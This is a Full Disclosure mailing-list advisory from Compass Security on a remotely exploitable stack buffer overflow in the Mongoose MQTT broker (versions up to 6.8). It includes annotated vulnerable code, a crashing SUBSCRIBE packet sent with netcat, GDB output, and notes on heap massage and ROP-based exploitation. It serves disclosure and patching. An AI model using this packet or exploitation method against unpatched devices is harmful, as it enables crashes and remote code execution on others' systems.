[<prev] [next>] [day] [month] [year] [list]
Message-ID: <588b414d67cb4b619440253c2a11f4cc@Wapiti.compass-security.com>
Date: Wed, 20 Sep 2017 14:24:36 +0000
From: Advisories <advisories@...pass-security.com>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] CSNC-2017-023: Buffer Overflow in Mongoose MQTT Broker
#############################################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/en/research/advisories/
#
#############################################################################
#
# Product: Mongoose Embedded Web Server Library
# Vendor: Cesanta
# CVE ID: Not yet assigned.
# CSNC ID: CSNC-2017-023
# Subject: Stack based buffer overflow
# Risk: High
# Effect: Remotely exploitable
# Author: Dobin Rutishauser <dobin.rutishauser@...pass-security.com>
# Date: 2017-09-20
#
#############################################################################
Introduction:
-------------
It is possible to perform remote unauthenticated remote code execution in
Cesanta's Mongoose MQTT Brokers. The length of MQTT packets is incorrectly
calculated when sending a small size in the MQTT Control Packet length field,
which leads to a integer underflow, and then to a stack based buffer
overflow.
A working proof-of-concept exploit has been created to exploit this
vulnerability. The exploit is unaffected by DEP. ASLR and/or stack canaries
will make it impossible to exploit this vulnerability.
https://github.com/cesanta/mongoose
"Mongoose is ideal for embedded environments. It has been designed for
connecting devices and bringing them online. On the market since 2004,
used by vast number of open source and commercial products - it even
runs on the International Space station! Mongoose makes embedded
network programming fast, robust, and easy."
Affected:
---------
Mongoose Embedded Web Server Library.
Vulnerable:
* <= 6.8
Not vulnerable:
* >=6.9
Technical Description
---------------------
The parse_mqtt() function is responsible for parsing incoming MQTT packets
if Mongoose is running as MQTT Broker. These packets consist of at least one
MQTT Control Packet (MCP). An MCP consists of a fixed header (MQTT type, and
the remaining length), a variable header (packet identifier), and a payload
(data based on the type, e.g. the subscribe topic like "/temperature").
The function "parse_mqtt()" is responsible for the parsing of the MCP fixed-
and variable header (but not the payload).
In this function, there is a pointer "p" which points to the beginning of the
incoming MQTT packet buffer. The "end" pointer is calculated by adding the
"len" to the "p" pointer. "len" is based on the "remaining length" field of
the MCP fixed header (a variable-length length field), which is controlled
by the attacker. "len" is checked if it is bigger than the received packet
size, so it is not possible to store an an arbitrary large value, and thus
creating an overflow of any kind.
Nevertheless, after parsing the MCP fixed header (basically only the "len"),
the MCP variable header will be parsed (based on the MCP type, e.g. CONNECT,
PUBLISH, SUBSCRIBE, etc.). The MCP variable header is just a two byte
identifier. It will be read and the "p" pointer will be increased by two
bytes. This is the source of the bug. Because after parsing the variable
header, a data structure "mm" is prepared with the MCP payload data, which
will be later parsed by the function "mg_mqtt_broker_handle_subscribe()".
For an MCP SUBSCRIBE payload type, the final length of the payload is stored
in mm->payload.len.
The problem is that the payload length is calculated by calculating
"end - p", but p is greater than end because of incrementing it in the MCP
variable header parsing, for a "length=0". Or in other words,
"end = p + len", but "p+=2", and "len=0".
Therefore for "len=0":
"mm->payload.len" = end - (p+2) = p + len - p - 2 = len - 2 = -2.
If the attacker gives a value of smaller than 2 as the payload length, the
final length will underflow. For example the length will be 2^64-2 if the
length specified in the fixed header is 0. The subscribe packets will be
parsed by mg_mqtt_broker_handle_subscribe().
It iterates through all Topic Filters in the MCP SUBSCRIBE payload, and
stores the QOS value of each of them in an statically sized array. It uses
the length stored in mm->payload.len as an abort condition. As this
condition cannot be met, the statically allocated array can be overflowed,
leading to a stack based buffer overflow.
The vulnerability was tested and reproduced by using the MQTT Broker
provided in the examples/mqtt_broker directory on Ubuntu 16.04 64 bit.
It was found by using AFL (American Fuzzy Lop) fuzzer.
Affected code: [2]
Vulnerability notes indicated by using "//".
MG_INTERNAL int parse_mqtt(struct mbuf *io, struct mg_mqtt_message *mm) {
uint8_t header;
size_t len = 0;
int cmd;
const char *p = &io->buf[1], *end;
if (io->len < 2) return -1;
header = io->buf[0];
cmd = header >> 4;
/* decode mqtt variable length */
// In Fixed header
do {
len += (*p & 127) << 7 * (p - &io->buf[1]);
} while ((*p++ & 128) != 0 && ((size_t)(p - io->buf) <= io->len));
// end = p for (attacker controlled) len = 0
end = p + len;
if (end > io->buf + io->len + 1) {
return -1;
}
[...]
case MG_MQTT_CMD_SUBSCRIBE:
mm->message_id = getu16(p); // Variable header
p += 2; // p > end for len = 0
/*
* topic expressions are left in the payload and can be parsed with
* `mg_mqtt_next_subscribe_topic`
*/
mm->payload.p = p;
mm->payload.len = end - p; // mm->payload.len < 0 for len = 0
printf("MQTT Subscribe 1: p: %p len: %lx\n",
mm->payload.p, mm->payload.len);
break;
[...]
}
static void mg_mqtt_broker_handle_subscribe(struct mg_connection *nc,
struct mg_mqtt_message *msg) {
struct mg_mqtt_session *ss = (struct mg_mqtt_session *) nc->user_data;
uint8_t qoss[512]; // static size, will be overflowed
size_t qoss_len = 0;
struct mg_str topic;
uint8_t qos;
int pos;
struct mg_mqtt_topic_expression *te;
// This loop never stops, as the abort condition in the called function
// can never be met. It will overflow qoss[512] until overwriting
// important stack data.
for (pos = 0;
(pos=mg_mqtt_next_subscribe_topic(msg, &topic, &qos, pos)) != -1;) {
qoss[qoss_len++] = qos; // Stack based buffer overflow here
}
[...]
}
Example packet:
$ hexdump -C id:000001*
000000 80 00 00 06 4d 51 49 73 64 70 03 00 00 3c 00 05 |....MQIsdp...<..|
000010 64 75 6d 6d 79 |dummy|
000015
Send it to the server:
$ cat id:000001* | nc localhost 1883
GDB output:
MQTT Subscribe 1: p: 0x618794 len: fffffffffffffffe
[...]
Program received signal SIGSEGV, Segmentation fault.
[-------------------------------registers-----------------------------------]
RAX: 0x5552 ('RU')
RBX: 0x0
RCX: 0x7fffffe0
RDX: 0x0
RSI: 0x0
RDI: 0x7fffffffcdf0 --> 0x7ffff751e340 (<__funlockfile>: mov rdx,QWORD
PTR [rdi+0x88])
RBP: 0x7fffffffd350 --> 0x7fffffffd5b0 --> 0x0
RSP: 0x7fffffffd320 --> 0x55520000001f
RIP: 0x40ef13 (<mg_mqtt_next_subscribe_topic+235>: movzx eax,BYTE PTR [rax])
R8 : 0x0
R9 : 0x20 (' ')
R10: 0x0
R11: 0x246
R12: 0x402130 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdbd0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign INTERRUPT direction overflow)
[-------------------------------------code----------------------------------]
0x40ef05 <mg_mqtt_next_subscribe_topic+221>: mov eax,0x0
0x40ef0a <mg_mqtt_next_subscribe_topic+226>: call 0x401b90 <printf@plt>
0x40ef0f <mg_mqtt_next_subscribe_topic+231>: mov rax,QWORD PTR [rbp-0x10]
=> 0x40ef13 <mg_mqtt_next_subscribe_topic+235>: movzx eax,BYTE PTR [rax]
0x40ef16 <mg_mqtt_next_subscribe_topic+238>: movzx eax,al
0x40ef19 <mg_mqtt_next_subscribe_topic+241>: shl eax,0x8
0x40ef1c <mg_mqtt_next_subscribe_topic+244>: mov edx,eax
0x40ef1e <mg_mqtt_next_subscribe_topic+246>: mov rax,QWORD PTR [rbp-0x10]
[------------------------------------stack----------------------------------]
0000| 0x7fffffffd320 --> 0x55520000001f
0008| 0x7fffffffd328 --> 0x7fffffffd373 --> 0x2ab0000555200
0016| 0x7fffffffd330 --> 0x7fffffffd390 --> 0x615551 --> 0x0
0024| 0x7fffffffd338 --> 0x7fffffffd630 --> 0x0
0032| 0x7fffffffd340 --> 0x5552 ('RU')
0040| 0x7fffffffd348 --> 0x4143ca1de0d5c300
0048| 0x7fffffffd350 --> 0x7fffffffd5b0 --> 0x0
0056| 0x7fffffffd358 --> 0x40f74f (<mg_mqtt_broker_handle_subscribe+224>: )
[---------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040ef13 in mg_mqtt_next_subscribe_topic (msg=0x7fffffffd630,
topic=0x7fffffffd390, qos=0x7fffffffd373 "", pos=0x5552)
at ../../mongoose.c:9933
9933 topic->len = buf[0] << 8 | buf[1];
gdb-peda$ disas
0x000000000040ef0f <+231>: mov rax,QWORD PTR [rbp-0x10]
=> 0x000000000040ef13 <+235>: movzx eax,BYTE PTR [rax]
gdb-peda$ x/1x $rbp-0x10
0x7fffffffd340: 0x0000000000005552
gdb-peda$ i r rax
rax 0x5552 0x5552
Visual representation of MCP CONNECT and SUBSCRIBE Packets:
+->Connect
| +->Len
| |
++---------------+-------+----+----+----+
|0x01|0x00|0x00|0x04| M | Q | T | T |
+------------------------+----+----+----+
+-----------------------+ +-------------+
fixed header variable header
+->Subscribe QOS:0x01f QOS:0x2f
| +->Length ^ ^
| | | |
++----+-------------++--------------+----++--------------+----+
|0x82|0x00|0x2c|0x2c||0x00|0x01| A |0x1f||0x00|0x01| B |0x2f|
+-------------------++--------------+----++-------------------+
+-------------------++-------------------+
Topic Filter for A Topic Filter for B
Exploiting Notes:
-----------------
SUBSCRIBE MCPs consist of one or several topic filter (TF) as payload. Each
TF contains a string of the topic the clients wants to subscribe to, e.g.
"/temperature". A TF has the minimum size of 3 bytes: 2 bytes length, 1 byte
QOS (with empty data, len=0). Also Mongoose receives (read()'s) TCP data in
chunks of 1024 bytes size. Only the QOS byte is written on the stack (into
the qoss[512] array), as part of the overflow. Therefore it is only possible
to write 1024 / 3 ~ 340 attacker-controlled bytes of data on the stack. The
"copy-QOS-from-heap-to-stack" loop does not stop, and instead continues to
copy arbitrary bytes from the heap to the stack, until the mm->payload.p
pointer is overwritten and the program crashes. It is therefore initially
not possible to:
1) Stop the copy process
2) overwrite the saved instruction pointer with attacker controlled data
3) or perform a return() on the affected function so our overwritten return
address is called
The solution is to allocate a second (and third) heap-chunk after the first
one with additional TF data. This allows to control the data which is copied
to the stack even after the 512 bytes qoss array, which immediately fixes
problem 2. Ideally the copy process should continue to copy attacker
specified QOS bytes onto the stack, overwriting it until it reaches
mm->payload.len, which should be set to zero. This stops the copy process,
and forces it to return(), which fixes problem 1 and 3.
To achieve this, a heap massage has to be performed. This can be achieved
by opening 3 connections in parallel, where each connection allocates a 1024
byte heap chunk. The content of the first chunk can be ignored. The second
and third chunk consists of valid MCP subscribe TFs, with the data we want to
write on the stack stored in the QOS byte. The length of each TF will be 4
bytes (1 byte data) for alignment purposes. The last TF of the second chunk
(and also of the first chunk later) has to be specially constructed.
It needs a certain length larger than the actual data in the TF, so the
"data" of this TF consists of the heap chunk header, which allows a seamless
transition of parsing the MCP subscribe TFs of the next chunk. Then the three
connections will be closed, and the actual exploit can be performed with a
fourth connection.
That fourth connection uses the fixed header size of zero, which initiated
endloss copying (2^64 bytes). The mg_mqtt_broker_handle_subscribe() function
will parse each of the TF, jumping over the heap chunk headers, and write the
QOS bytes of each TF into the stack.
After overwriting the saved return address with ROP gadgets, it will trash
the stack until it arrives at overwriting mm->payload.p, where we have to
write the original mm->payload.p pointer again. Immediately afterwards in
memory, mm->payload.len is stored on the stack, and will be overwritten
with zeros by the exploit.
After this the function automatically returns, and the ROPchain will be
executed.
Therefore we are lucky that the received data is stored on the heap which we
can define at will, and all important metadata is stored on the stack, where
we can overwrite it. This exploit will not work with ASLR enabled,
as no informatin disclosure vulnerability could be identified. A stack canary
also prohibits exploitation.
Heap: Stack:
Chunk: 1024 bytes
+----------------------+ +----------------+
| | |QOSS[512] |
|Len: 1 | +--------> |
|Data: "A" | | | |
|QOS: 0x00 | | | |
+----------------------+ | | |
| | | | |
|... | | +----------------+
| | | |... |
| | | +----------------+
+----------------------+ | +----->Saved RIP |
| | | | +----------------+
+---+Len: 16 | | | |... |
| |Data: "A" | | | | |
| |QOS: 0x41 +--+ | | |
| +----------------------+ | | |
| | +----------------+
| Chunk: 1024 bytes | +-->payload.p |
+-> +----------------------+ | | +----------------+
| | | +-->payload.len |
|Len: 1 | | | | |
|Data: "A" | | | +-+--------------+
|QOS: 0x41 +-----+ | |
+----------------------+ | v
| | | higher addresses
|... | |
| | |
| | |
+----------------------+ |
| | |
+---+Len: 16 | |
| |Data: " " | |
| |QOS: 0x00 | |
| +----------------------+ |
| |
| Chunk: 1024 bytes |
+-> +----------------------+ |
| | |
|Len: 1 | |
|Data: "A" | |
|QOS: 0x41 +--------+
+----------------------+
| |
|... |
| |
| |
+----------------------+
| |
|Len: 1 |
|Data: "A" |
|QOS: 0x00 |
+---+------------------+
|
v
higher addresses
Workaround / Fix:
-----------------
Update to Mongoose 6.9. [6]
Timeline:
---------
2017-09-20: OK for publishing advisory.
2017-09-13: New version released (Mongoose 6.9)
2017-09-01: Issue has been fixed, vendor notified.
2017-08-30: Vendor released patched version, asks if issue has been fixed.
2017-08-29: Vendor acknowledges receipt of the information
2017-08-28: Send detailed vulnerability information to vendor
2017-08-28: Initial vendor response
2017-08-28: Initial vendor notification
References:
-----------
[1] https://github.com/cesanta/mongoose
[2] https://github.com/cesanta/mongoose/blob/
7c0493071f182b890f4e01ece84ab2523858cc76/mongoose.c#L9679
[3] http://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/mqtt-v3.1.1-os.html
[4] http://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/
mqtt-v3.1.1-os.html#_Toc398718063
[5] https://mongoose-os.com/
[6] https://github.com/cesanta/mongoose/releases/tag/6.9
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
Powered by blists - more mailing lists